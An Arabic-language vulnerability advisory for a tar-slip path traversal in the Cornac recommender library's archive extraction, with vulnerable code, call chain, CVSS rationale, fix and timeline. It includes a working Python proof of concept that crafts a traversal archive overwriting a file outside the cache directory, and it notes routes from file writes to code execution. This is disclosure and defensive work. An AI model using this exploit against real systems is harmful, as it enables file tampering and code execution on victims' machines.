
اجتياز المسار (Tar Slip) في Cornac عبر _extract_archive (CVE-2026-43637)
الخطورة: عالية، CVSS 4.0 8.8، حرجة، CVSS 3.1 9.1 (محددة من VulnCheck، الجهة المختصة بترقيم الثغرات (CNA))
المتجه (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
المتجه (v4.0): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
المتأثر: cornac < 2.6.0
الإصلاح في: 2.6.0
CWE: CWE-22 (تقييد غير سليم لاسم المسار إلى دليل مقيد، 'اجتياز المسار')
أبلغ عنها: Rahul Karne وBharath Kumar Reddy Janumpally
CNA: VulnCheck
نُشرت: 15 يوليو 2026
مُحمِّلات مجموعات البيانات في Cornac تنزّل الأرشيفات وتفك ضغطها تلقائيًا، وكان برنامج فك الضغط يثق في كل مسار داخل الأرشيف.
Cornac هو إطار عمل للتعلم الآلي خاص بأنظمة التوصية. تجلب مُحمِّلات مجموعات البيانات المدمجة فيه الأرشيفات عبر الشبكة وتفك ضغطها دون أي خطوة تأكيد. يستدعي روتين فك الضغط _extract_archive() في cornac/utils/download.py الدالة archive.extractall() دون أي تحقق من مسارات الأعضاء. لذلك، فإن أي أرشيف TAR يحتوي أعضاؤه على تسلسلات ../ أو مسارات مطلقة أو إدخالات روابط رمزية (symlink) وروابط صلبة (hardlink) يكتب ملفات في مواقع عشوائية على نظام الملفات، في أي مكان يمكن للعملية الجارية الكتابة فيه، وخارج دليل التخزين المؤقت المقصود تمامًا. تجلب عدة مُحمِّلات البيانات عبر HTTP عادي، لذا يمكن لمهاجم في موقع على الشبكة استبدال أرشيف خبيث أثناء النقل ويُفك ضغطه فور استدعاء المُحمِّل.
كتابة ملفات عشوائية بمسار ومحتوى يتحكم فيه المهاجم بالكامل، لا يحدّها إلا صلاحيات العملية التي تشغّل Cornac. هذه بدائية كتابة (write primitive) وليست قراءة، لذا لا يوجد كشف مباشر للبيانات، لكن الكتابة العشوائية للملفات طريق راسخ لتنفيذ الأكواد وتعطيل الخدمة:
.py في site-packages أو ملف بدء تشغيل للقشرة أو إدخال مهمة مجدولة يؤدي إلى تشغيل كود المهاجم في المرة التالية التي يُستورد فيها الملف أو تُفتح فيها القشرة أو تُنفَّذ فيها المهمة.من المتأثر: أي استخدام لـ cornac < 2.6.0 يستدعي مُحمِّل مجموعة بيانات ينزّل ويفك ضغط أرشيف يمكن للمهاجم التحكم فيه أو اعتراضه. ولأن المُحمِّلات تفك الضغط تلقائيًا، لا يلزم أي خطوة تتجاوز استدعاء المُحمِّل المعتاد.
من غير المتأثر:
2.6.0 أو أحدث، حيث يتحقق فك الضغط من كل مسار عضو.| المقياس | القيمة | المصدر |
|---|---|---|
| إجمالي التنزيلات | 4.1 مليون | pepy.tech/projects/cornac |
يستخرج _extract_archive() في cornac/utils/download.py مدخلات ZIP وTAR معًا عبر مسار برمجي واحد، وفي حالة TAR يستدعي extractall() دون أي فحص للمسار:
# cornac/utils/download.py — _extract_archive(), lines 50-71 (v2.3.5)
def _extract_archive(file_path, extract_path="."):
"""Extracts an archive."""
for archive_type in ["zip", "tar"]:
if archive_type == "zip":
open_fn = zipfile.ZipFile
is_match_fn = zipfile.is_zipfile
elif archive_type == "tar":
open_fn = tarfile.open
is_match_fn = tarfile.is_tarfile
if is_match_fn(file_path):
with open_fn(file_path) as archive:
try:
archive.extractall(extract_path) # <-- no member-path validation
except (tarfile.TarError, RuntimeError, KeyboardInterrupt):
if os.path.exists(extract_path):
if os.path.isfile(extract_path):
os.remove(extract_path)
else:
shutil.rmtree(extract_path)
raise
لا شيء يقيد أسماء الأعضاء، لذا فإن عضوًا اسمه ../../somewhere/file يُحل إلى خارج extract_path ويُكتب هناك.
سلسلة الاستدعاء تلقائية بالكامل ابتداءً من استدعاء المُحمِّل:
cornac.datasets.<name>.load_feedback()
-> cornac.utils.download.cache() # downloads via urllib.request.urlretrieve
-> cornac.utils.download._extract_archive()
-> tarfile.extractall() # writes attacker-named paths
يعقّم zipfile في بايثون تسلسلات ../ أثناء فك الضغط، لذا فإن فرع ZIP من هذه الدالة نفسها غير قابل للاستغلال على بايثون الحديثة. لا يعقّم tarfile في بايثون مسارات الأعضاء (قبل الإصدار 3.12، وفقط مع عامل تصفية صريح بعده). ولأن Cornac يشغّل الصيغتين عبر استدعاء extractall() المتطابق نفسه، فإن فرع ZIP آمن وفرع TAR قابل للاستغلال بالكامل عبر الأسطر نفسها. من السهل تفويت هذا التباين تحديدًا لأن الكود يبدو موحدًا عبر الصيغتين.
ينزّل Cornac الملفات عبر urllib.request.urlretrieve()، دون تثبيت الشهادات (certificate pinning) ودون أي فحص لسلامة الأرشيف، وتستخدم عدة مُحمِّلات مدمجة عناوين http://. يمكن لمهاجم في موقع على الشبكة اعتراض التنزيل عبر HTTP العادي وإرجاع TAR خبيث دون اختراق الخادم المصدر، ولهذا فإن المتجه بعيد ولا يتطلب أي تفاعل من المستخدم يتجاوز استدعاء المُحمِّل.
يحتاج المهاجم إلى:
< 2.6.0.لا تتطلب أي صلاحيات على الهدف ولا أي تفاعل من المستخدم يتجاوز استدعاء المُحمِّل.
شُغِّل ما يلي على الحزمة الحقيقية غير المعدَّلة باستدعاء _extract_archive الخاص بـ Cornac مباشرةً.
الإصدار القابل للاستغلال (2.3.5). يُفك ضغط TAR يحتوي على عضو ../../ في دليل تخزين مؤقت؛ يقع العضو خارج ذلك الدليل ويستبدل ملفًا يخص تطبيقًا منفصلًا:
import cornac.utils.download as d
import io, os, tarfile, tempfile
base = tempfile.mkdtemp()
cache = os.path.join(base, "cornac_scope", "cache"); os.makedirs(cache)
victim = os.path.join(base, "victim_scope", "webapp"); os.makedirs(victim)
open(os.path.join(victim, "app.py"), "w").write("def run():\n return 'healthy'\n")
mal = os.path.join(base, "malicious.tar.gz")
payload = b"raise ImportError('victim destroyed by tar slip')\n"
with tarfile.open(mal, "w:gz") as tf:
ti = tarfile.TarInfo("../../victim_scope/webapp/app.py"); ti.size = len(payload)
tf.addfile(ti, io.BytesIO(payload))
d._extract_archive(mal, cache) # Cornac's real function, cache dir as target
النتيجة المُتحقق منها:
victim app.py BEFORE : def run(): return 'healthy'
victim app.py AFTER : raise ImportError('victim destroyed by tar slip')
benign file landed inside cache scope : True
victim file OVERWRITTEN outside cache : True
كتب العضو غير المؤذي داخل التخزين المؤقت كما هو متوقع؛ وكتب العضو ../../ في دليل التطبيق المنفصل، ويُفشل الآن استيراد ذلك التطبيق.
عرض الهجوم الكامل. يشغّل poc_exploit.py في هذا المستودع السلسلة الكاملة من البداية إلى النهاية: خادم HTTP خاص بالمهاجم يسلّم أرشيف TAR الخبيث، ومُحمِّل يحاكي سلسلة استدعاء cache() مع _extract_archive() في Cornac ينزّله ويفك ضغطه تلقائيًا من استدعاء واحد لـ load_feedback()، ويُستبدل ملفان في دليل تطبيق منفصل. يُستخدم _extract_archive() القابل للاستغلال كما هو حرفيًا من مصدر Cornac.
الإصدار المُصلَح (2.6.0). يُرفض أرشيف الاجتياز نفسه قبل كتابة أي شيء:
ValueError: Blocked path traversal attempt in archive: ../victim/app.py
victim app.py after: def run(): return 'healthy' (unchanged)
قم بالترقية إلى cornac 2.6.0 أو أحدث:
pip install --upgrade "cornac>=2.6.0"
يستبدل الإصدار 2.6.0 الدالة extractall() غير المحمية بدالة مساعدة _safe_extract() تحل كل مسار عضو عبر os.path.realpath وترفض أي هدف لا يبقى ضمن دليل فك الضغط، وتسمح فقط بالملفات والدلائل العادية، مانعةً إدخالات الروابط الرمزية والصلبة والأجهزة.
إذا تعذّر عليك الترقية فورًا: لا تستدعِ مُحمِّلات مجموعات البيانات التي تنزّل عبر قنوات غير موثوقة أو عبر HTTP عادي، ولا تفك ضغط أرشيفات TAR من مصادر لا تتحكم فيها. الجلب عبر HTTPS يقلل من خطر الاعتراض أثناء النقل لكنه لا يزيل الخطر الناتج عن مصدر خبيث أو مخترق.
حدّدت VulnCheck (الجهة المختصة بترقيم الثغرات (CNA)) درجة 8.8 (عالية) وفق CVSS 4.0 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N).
AV:N: يُسلَّم الأرشيف الخبيث عبر الشبكة، وتجلب عدة مُحمِّلات البيانات عبر HTTP عادي دون أي فحص سلامة.AC:L: صناعة أرشيف TAR اجتيازي أمر تافه، ويعمل الهجوم بشكل حتمي في كل استدعاء.PR:N: لا يحتاج المهاجم إلى أي حساب أو موطئ قدم على الهدف.UI:N: ينزّل المُحمِّل ويفك الضغط تلقائيًا؛ واستدعاء واحد للمُحمِّل يشغّل السلسلة كاملة دون خطوة تأكيد.VC:N: البدائية للكتابة فقط، لذا لا يُدَّعى وجود أي أثر على السرية.VI:H / VA:H: يتحكم المهاجم بالكامل في المحتوى المكتوب ويمكنه تدمير الملفات التي تستطيع العملية الكتابة إليها، لذا فإن سلامة النظام المتأثر وتوافره تتأثران بدرجة عالية.SC:N / SI:N / SA:N: قيّمت الجهة المختصة (CNA) الأثر على أنه محصور في صلاحيات النظام القابل للاستغلال وليس نظامًا منفصلًا لاحقًا.الدرجة 8.8 المحددة من الجهة المختصة (CNA) هي الرقم المعتمد لهذه الثغرة.
| التاريخ | الحدث |
|---|
اكتُشفت الثغرة وأُبلغ عنها بواسطة Rahul Karne (باحث أمني وعضو كبير في IEEE) وBharath Kumar Reddy Janumpally، بتنسيق عبر VulnCheck. تشمل الإفصاحات ذات الصلة لـ Rahul ثغرة CVE-2026-65321 (حقن SQL في PyAthena) وثغرة CVE-2026-63720 (حقن أكواد في datamodel-code-generator).
التواصل: [email protected] · GitHub: rahulreddykarne
8a50be7: https://github.com/PreferredAI/cornac/commit/8a50be72c11569b6747c6b96d6e31a0a1962f1a8استفسارات الإعلام: [email protected]. إثبات المفهوم الكامل (خادم المهاجم، أرشيف الاجتياز، التطبيق الضحية) وتفاصيل فنية إضافية متاحة عند الطلب.
| التنزيلات، آخر 30 يومًا | 67.8 ألف | pepy.tech |
| الاستخدام النموذجي | البحث والتدريس في أنظمة التوصية؛ مُحمِّلات مجموعات البيانات تجلب تلقائيًا عبر الشبكة، بعضها عبر HTTP عادي | متأصل في إطار العمل |
| 3 مايو 2026 | تحديد الثغرة |
| 4 مايو 2026 | الإبلاغ (إفصاح منسق) |
| 14 يوليو 2026 | دمج الإصلاح (PR #709، الالتزام 8a50be7) |
| 15 يوليو 2026 | إصدار النسخة المُصلَحة 2.6.0 |
| 15 يوليو 2026 | نشر CVE-2026-43637 بواسطة VulnCheck |